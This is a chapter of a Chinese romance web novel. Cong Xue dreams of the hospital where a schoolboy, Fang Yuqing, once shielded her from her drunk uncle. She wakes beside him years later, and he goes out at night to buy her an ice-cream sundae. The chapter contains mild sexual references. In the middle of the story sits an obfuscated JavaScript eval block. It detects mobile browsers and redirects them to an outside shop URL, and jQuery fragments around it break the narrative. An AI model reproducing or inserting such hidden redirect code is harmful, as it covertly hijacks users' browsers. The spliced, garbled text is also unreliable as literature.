丛雪站在走廊上,看到窗外那棵熟悉的梧桐逐渐褪去明朗的金色,变得光秃秃,就知道,又一个冬天要来了。
她在心中怔了怔——眼下即将要入夏,哪里来的冬天呢?
茫然四顾,周围到处都是人,黑压压的。
神色冷峻的医生和面目模糊的患者从她身旁快速经过——
她竟是在医院里。
这是十六岁那年的秋末。
丛雪垂下头,看了一眼手中鼓鼓囊囊的文件袋。
薄薄一层空间里塞满了收费单据和检验报告,像是吃得太饱而凸起的肚皮。
这个地方她不陌生,从十岁起,每周都要过来。
这里是妈妈做透析的医院。
一周三次,雷打不动。
母女俩从菜场收了摊,就急匆匆地赶最后一班公交车赶过来。
这里有很多病床,机器轰鸣作响,替肾脏将身体无法代谢的废物排出体外。
六年了,肾源遥遥无期。
丛雪对这里,也一次比一次更熟悉。
妈妈不愿让她陪在透析室,亲眼看着那些冰冷的塑料管插入她的身体,每次都打发丛雪出去找个地方呆着。
丛雪是个听话的小孩,却也不想离妈妈太远。
她拉开书包,拿出一本单词书,就这么靠着走廊的窗户看了起来。
为什么会梦到这个场景呢?
丛雪有点疑惑。
当她转过头,看到气势汹汹冲过来的马福山时,突然意识到——
这里是她第一次碰见方屿青的地方。
马福山刚喝了一顿大酒,从脑门一路红到脖子。一双怒目直勾勾地吊着,脸上横肉直抖,散发着疯狂的嚣张。
他醉得连脚步都有些踉跄了,却还能一眼就在形形色色的人堆里认出丛雪。
“不要脸的小蹄子,可叫我好找!还老子房子!”
丛雪被马福山吼得一愣,身上的筋肉都哆嗦起来,心底的恐惧登时主宰了意识,本能地扔下课本,拔腿就跑。
马福山紧追而来,边追边抄起小推车上的玻璃输液瓶,狠狠朝丛雪扔过去。
视线里是拥堵的人群,丛雪前路被堵住,再逃无可逃。
最绝望的时刻,脑中竟然冒出一道荒唐的念头:是不是给他砸一下,他就可以放过她们母女俩?
瓶子飞来的瞬间,丛雪妥协地闭上双眼。
预想中的疼痛并没有到来,有人扯住她的胳膊,用力一拽,她僵硬的身体向一旁倒去。
下一秒,丛雪跌进一个带着凉气的怀抱,后脑被人按住,迅速侧身。
玻璃瓶擦着那人的鼻尖划过,“咚”地砸到墙上,摔出一片淋漓水花。
丛雪艰难地喘息着,睁开眼,视野里是一道青绿色的校服前襟。
耳旁有衣料摩擦的声响,伴着一声痛苦的哀嚎,紧追而来的马福山被人一脚踹翻在地。
“打架了!打架了!”
麻木的人群终于动了,有人惊慌逃跑,有人高声呼喊。
丛雪哆嗦着抬起头——
救了她的,是一个少年。
少年头发乌黑,下颌的线条清爽,灰色的牛角扣大衣随着剧烈的动作敞开,露出里面秋季校服上的一截校名。
南城师范大学附中。
鼎鼎大名的市重点。
少年侧着脸,皱眉盯着地上鬼哭狼嚎的马福山,眼角一枚淡色小痣在丛雪颤抖的视线里隐隐晃动。
“叫保安!”他扭头冲旁边的人喊。
一旁的护士吓呆了,被这一嗓子嚎得清醒过来,慌忙拿起电话。
少年这才松开禁锢丛雪的胳膊,胸廓上下起伏着,微微侧身,挡在她了身前,却并没有回头看过她一眼。
丛雪望着那枚后脑勺,怯怯地说了一声“谢谢”,但她觉得少年并没有听到。
马福山被这少年踹得仰翻在地,一时竟没能站起来,歪在地上,口中仍在骂骂咧咧。
两名保安很快赶来,将他就地擒住。
不久后,警察也来了。丛雪的妈妈做完透析,配合着进行了调查。
马福山不是什么遥远的仇人,而是丛雪的大舅舅,妈妈的亲大哥。
为了利益,手足间反目成仇的例子并不罕见,丛雪家中就是如此。
外婆留下的老房子被妈妈卖掉,换了一笔治病钱。从此,亲戚间的矛盾一发不可收拾。
妈妈在办公室里配合民警的调查,一墙之隔的走廊,丛雪帮着清洁工大婶一起打扫混乱的现场。
她刚刚站过的地方,躺着一杯融化了的冰激凌,黏糊糊的液体流得到处都是。
“唉,这是刚才那个小伙子的,还没吃几口呢,可惜咯。”清洁工大婶喃喃。
丛雪用抹布将那处的地面擦得锃亮,捡起冰激凌的杯子,到洗手间冲洗干净,装进了书包。
她把杯子悄悄带回了家,摆在自己的窗台上。
窗帘紧闭,丛雪打开台灯,趴在书桌上看,暖黄光线穿过塑料杯,映出一个淡淡的M。
第二天放学,丛雪没有像往常那样去菜场给妈妈帮忙,而是一个人绕了几条街,来到学校附近的一家麦当劳。
她站在门口,听见店里传来的欢声笑语,一群小学生正在里面过生日。
丛雪攥紧书包带,忐忑地推开玻璃门。
这是她第二次踏进麦当劳。
第一次,是小学四年级的时候,班上一位同学在转学前请全班同学吃饭。
丛雪不好意思点太多,只要了一个汉堡,安静地吃了很久。
此刻,她有点局促地站在柜台前,小心翼翼地抬头浏览菜单。
东西好多,她不知道要找的究竟是哪一款。
柜台的小姐姐问她需要点什么,丛雪无措地张了张嘴,喉咙竟像是被拧紧了,一个字也说不出来。
那晚,她落荒而逃,空着肚子走回了家。
软绵绵的失落又一次席卷了她。
这种情绪十分熟悉,像潮水一样从心口漫上来,吞没她的呼吸。
命运从不吝啬赐予她难堪和落魄,好像那才是她理所当然的人生底色。
早就该习以为常了,可是为什么,还是会感到难过呢?
然而,那些无处发泄的情绪并没有消失,而是潜藏进更深处,在身体的每一个细胞里蛰伏。在某些时刻,跃跃欲试地冒出头,一而再、再而三地击穿那颗千疮百孔的自尊心。
丛雪在睡梦中,呜呜咽咽地流眼泪。
方屿青将她从被子里挖出来,靠在自己怀里,一下下轻拍着她的脊背。
丛雪噙着泪花,缓缓睁开眼睛。
台灯的光线是昏暖的黄色,窗外漆黑一片,天还没亮。
“做噩梦了?哭成这样。”
方屿青眉心拢着,下巴紧贴着她的额角,轻轻蹭了蹭。
有些亲昵,还无端多了些怜惜的意味。
丛雪抬起头,怔怔地望着他的脸。
那枚小痣仍旧如梦中一般浅淡,是十六岁的少女鼓足勇气也留不住的一点点悸动。
丛雪整个人还陷在梦中的情绪里,她声音嘶哑,没来由地问:“你还记不记得……医院的朱古力新地?”
她后来观察过,方屿青对冰激凌并不算特别感兴趣。
或许他那天只是碰巧买了一杯,而她却在日复一日的重温中逐渐爱上了它的味道。
方屿青愣了一下,似乎不明白她大半夜的怎么突然问这个。
“什么新地?你喜欢的那款冰激凌?”
方屿青靠在床头,右手绕过她的颈后,无意识地揉捏着。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609640|187611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丛雪的精神渐渐放松下来。
他并没有回答她的问题,可她却无端觉得满足。
她靠在他怀里,伸出胳膊,紧紧抱住他。
方屿青任她抱着,默了半晌,突然问:“那个新地,现在想吃吗?”
丛雪一怔,抬起脸,看见他睫毛半扇着,整个人在暖黄的灯光中裹着一层毛茸茸的细边。
这样亲近,这样蛊惑人心,丛雪一瞬间生出了不该有的非分之念。
这念头令她觉得忐忑。
她克制再克制,知道自己该摇头否认,可说出口的却是一句——
“如果……我想呢?”
方屿青十分平静地应了一声,抬手掀开被子:“我去买。”
丛雪还来不及阻拦,他已然下了床,赤着上身,内裤包着沉甸甸的一团。
丛雪红着脸别开眼睛。
两个小时前,他们才刚刚结束最后一轮欢爱。
丛雪身上也光溜溜的,此刻后知后觉地有些羞赧,急忙探着身子去够床尾的睡裙。
方屿青捡起掉在地上的T恤,几下套上身,又去找不知道撂在哪儿的裤子。
丛雪着急地从床上下来,赤脚跟在他身后,小心地解释:“我刚刚是乱说的,其实并没有很想吃。况且,都这么晚了……”
“不晚。”方屿青随手拿起橱柜上的车钥匙,拉开玄关的门把,“24小时营业。”
门在她眼前“砰”一声关上,客厅里瞬间鸦雀无声。
丛雪想说的其实是——都这么晚了,就别出去了。
她瞅了一眼墙上的时钟,怀疑自己是不是魔怔了,居然敢劳烦方屿青在凌晨两点开车出门,替她跑腿,买一杯冰激凌。
而方屿青还真就这么去了。
丛雪走到窗户边,看着他的车在夜色里走远,心里好像有一丝丝高兴,更多的却是不安。
她不该这么任性的。
她暗暗告诫自己,以后不可以再有这种过界的行为。
他今天或许是心情好,若再有下次,会反过来嫌她麻烦也说不定。
丛雪站在窗户边天人交战,不知所措地度过了二十分钟,就听到楼下车子熄火的声音。
南城大学东门就有一家24小时麦当劳,距离不算远。
方屿青进门的时候,看见丛雪竟然板板正正地站在门口等着,不由有些好笑:“就这么急着吃?”
他把纸袋递给丛雪。
丛雪打开袋子,取出熟悉的朱古力新地,不知道该感谢还是该道歉,索性用勺子挖出一大块,送到方屿青嘴边。
“你要不要……先吃一口?”
方屿青眼中掠过一丝笑意:“感谢费啊?”
“嗯,”丛雪诚恳地点点头,“谢谢你,这么晚了还辛苦跑一趟。”
“辛苦……”方屿青咂摸着这两个字,不以为意地纠正,“比不得床上辛苦。”
丛雪差点咬到自己的舌头。
“就这样谢我?”
丛雪眨巴着眼睛,愣了片刻,然后上前一步,踮起脚,亲在了方屿青的下巴上。
他看不出满意还是不满意,只是挑着眉毛问她:“你平时都这样感谢人?”
“那也不会。”丛雪舀了一勺厚厚的朱古力酱送进嘴里,眼睛里涌起一丝幸福的神采,“只有你给我买过冰激凌。”
方屿青散漫的目光顿住,定定地注视着她,带着几分别有意味的探究。
丛雪短暂地晃了神,又羞涩着撇开眼。
“好吃吗?”过了几秒,他问。
“嗯……”丛雪压下心中的悸动,弯起眼睛,小鹿一样。
方屿青盯着她看了一会儿,伸出手,食指指节轻轻蹭过她沾了白色冰激凌的唇角。
“好吃的话,就别哭了。”